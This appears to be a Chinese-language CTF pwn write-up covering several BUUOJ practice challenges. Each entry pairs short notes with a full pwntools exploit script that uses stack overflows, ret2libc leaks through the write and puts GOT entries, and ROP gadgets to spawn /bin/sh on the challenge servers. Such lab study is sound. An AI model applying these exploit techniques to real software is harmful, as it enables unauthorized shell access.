ciscn_2019_n_8
32位程序,逻辑很简单 需要var[13] == 17
需要注意的是qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节
所以用p64
exp
from pwn import *
r = remote('node4.buuoj.cn',29396)
payload = b'aaaa'*13+p64(0x11)
r.sendline(payload)
r.interactive()
jarvisoj_level2
32位程序
明显栈溢出
找到system函数地址与/bin/sh地址
exp
from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',28037)
sys_addr = 0x08048320
sh_addr = 0x0804A024
payload = b'a'*0x88+b'a'*0x4+p32(sys_addr)+p32(0)+p32(sh_addr)
r.sendlineafter('Input:',payload)
r.interactive()
[OGeek2019]babyrop
32位程序,题目给了libc-2.23.so,main函数
看下sub_804871F()
sub_80487D0()函数参数a1为上面函数的返回值,这里可以溢出,然后通过write泄露write地址
利用函数泄露地址原理:
利用write函数获取函数地址
函数原型: ssize_t write (int fd, const void * buf, size_t count);
payload:'a' * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count
利用puts函数获取函数地址
函数原型: int puts(const char *string);
payload:
payload = b''
payload += b'a' * 0x # 栈的大小
payload += p64(0) # ebp
payload += p64(pop_rdi) # 给puts()函数赋值
payload += p64(addr) # leak函数的参数addr 可以为puts_got
payload += p64(puts_plt) # puts函数地址
exp
from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',27043)
elf = ELF('./pwn')
lib = ELF('./libc-2.23.so')
write_got = elf.got['write']
write_plt = elf.plt['write']
main = 0x08048825
payload1 = "\x00"+"\xFF"*7
r.sendline(payload1) # strcmp bypass and change buf[7]
r.recvuntil('Correct\n')
# leak write addr
payload2 = b'a'*0xe7+b'a'*0x4
payload2 += p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload2)
write_addr = u32(r.recv(4))
print('[+]write_addr: '+str(write_addr))
# use offset to system and /bin/sh
offset = write_addr - lib.sym['write']
sys_addr = lib.sym['system'] + offset
binsh_addr = lib.search(b'/bin/sh').__next__() + offset
r.sendline(payload1)
r.recvuntil('Correct\n')
payload3 = b'a'*0xe7+b'a'*0x4
payload3 += p32(sys_addr) + b'a'*0x4 + p32(binsh_addr)
r.sendline(payload3)
r.interactive()
bjdctf_2020_babystack
栈溢出
exp
from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',26914)
sys_addr = 0x04006e6
payload = b'a'*0x10+b'a'*0x8+p64(sys_addr)+p64(0)
r.sendlineafter('[+]Please input the length of your name:','50')
r.sendlineafter('[+]What\'s u name?',payload)
r.interactive()
get_started_3dsctf_2016
main函数存在溢出
发现有个后门函数
直接返回到后门函数地址然后再填充被调函数参数,也就是a1和a2,这里ebp需要为exit
exp
from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',28440)
getflag_addr = 0x80489A0
exit_addr = 0x0804E6A0
payload = b'a'*56+p32(getflag_addr)+p32(exit_addr)+p32(0x308cd64f)+p32(0x195719d1)
r.sendline(payload)
print(r.recv())
#r.interactive()
ciscn_2019_en_2
64位程序
begin()是一个菜单,给了三个选择 encrypt、decrypt、exit,无system以及/bin/sh 属于是ret2libc题型
看一下encrypt()函数,gets()存在溢出点,strlen利用 \x00 绕过
思路:
- 劫持返回地址,调用puts函数泄露libc基地址,再次返回到main函数
- 通过泄露出的libc基地址计算出"/bin/sh"和system()的地址,再次劫持返回地址,执行system(“/bin/sh”)获得shell
几篇文章
ROP-Ret2csu详解
pwn系列之ret2(四)
Linux x64 下的万能 Gadget
一步一步学ROP之linux_x64篇
buu-ciscn_2019_en_2
64位程序函数传参数的方式与32位程序不相同,32位程序将函数参数直接压入栈中,64位程序当参数少于7个时,参数从左到右 放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
x64 程序调用libc会存在 __libc_csu_init 这个函数用来对 libc 进行初始化操作
借用文章中的图来看下 __libc_csu_init
将地址 0x400622 上 pop r15,ret 的三字节指令(0x41 0x5F 0xC3)拆散看,会发现后两个字节组成了一组新的指令 pop rdi,ret。
这对于puts()有什么用呢?在 [OGeek2019]babyrop 中知道,puts所需要的参数为一个参数,而这个pop rdi正好符合了要求,从栈上弹出一个单位到rdi中,然后ret调用puts时,从rdi中获取那一个参数。
所以我们构造的payload为
payload += b'a' * 0x.. # 栈的大小
payload += p64(0) # ebp
payload += p64(pop_rdi) # 给puts()函数赋值
payload += p64(addr) # leak函数的参数addr 可以为puts_got
payload += p64(puts_plt) # puts函数地址
寻找 gadget 有两个工具
第一个ROPgaget(安装了gdb-peda就有):
ROPgaget --文件名 pwn | grep "要找的东西,比如pop rdi"
第二个ropper:
ropper --file 文件名 --search "要找的东西"
这里环境为ubuntu18,看了下其他师傅的wp,提到了栈平衡
第一次控制返回地址的时候执行了pop rdi,导致栈地址向下向上偏移了8位,而Ubuntu18要求栈地址要16位(0x10)对齐,所以在第二次控制返回地址的时候加个p64(ret)就可以解决
exp
from pwn import *
from LibcSearcher import *
context(log_level='debug')
r = remote('node4.buuoj.cn',26208)
#r=process('./ciscn_2019_en_2')
elf = ELF('./ciscn_2019_en_2')
puts_plt = elf.plt['puts']
puts_gots = elf.got['puts']
main_addr = 0x0400B28
pop_rdi = 0x0400c83
ret=0x4006b9
r.sendlineafter('Input your choice!','1')
payload = b'\x00'+b'a'*(0x50-0x1)+b'a'*0x8
payload += p64(pop_rdi)+p64(puts_gots)+p64(puts_plt)+p64(main_addr) # puts ret addr ?
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
print('first puts: '+str(r.recvline())) # puts("Ciphertext")
print('second puts: '+str(r.recvline())) # puts(s)
puts_addr=u64(r.recvuntil("\n",True).ljust(8,b"\x00"))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
sys_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
r.sendlineafter('Input your choice!\n','1')
payload2 = b'\x00'+b'a'*(0x50-0x1)+b'a'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(sys_addr)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload2)
r.interactive()
jarvisoj_level2_x64
64位程序栈溢出
exp
from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',27790)
sys_addr = 0x04004c0
binsh_addr = 0x0600a90
pop_addr = 0x04006b3
payload = b'a'*0x80+b'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(sys_addr)
r.sendlineafter('Input:\n',payload)
r.interactive()
[HarekazeCTF2019]baby_rop
64位,exp
from pwn import *
import os
context(log_level='debug')
elf = ELF('./babyrop')
r = remote('node4.buuoj.cn',25565)
sys_addr = elf.sym['system']
binsh_addr = 0x0601048
def get_pop(file):
cmd = 'ROPgadget --binary {} |grep "pop rdi"'.format(file)
res = os.popen(cmd).read().split(':')[0][-8:]
return int('0x'+res,16)
pop_addr = get_pop('babyrop')
payload = b'a'*0x10+b'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(sys_addr)
r.sendlineafter('What\'s your name?',payload)
r.interactive()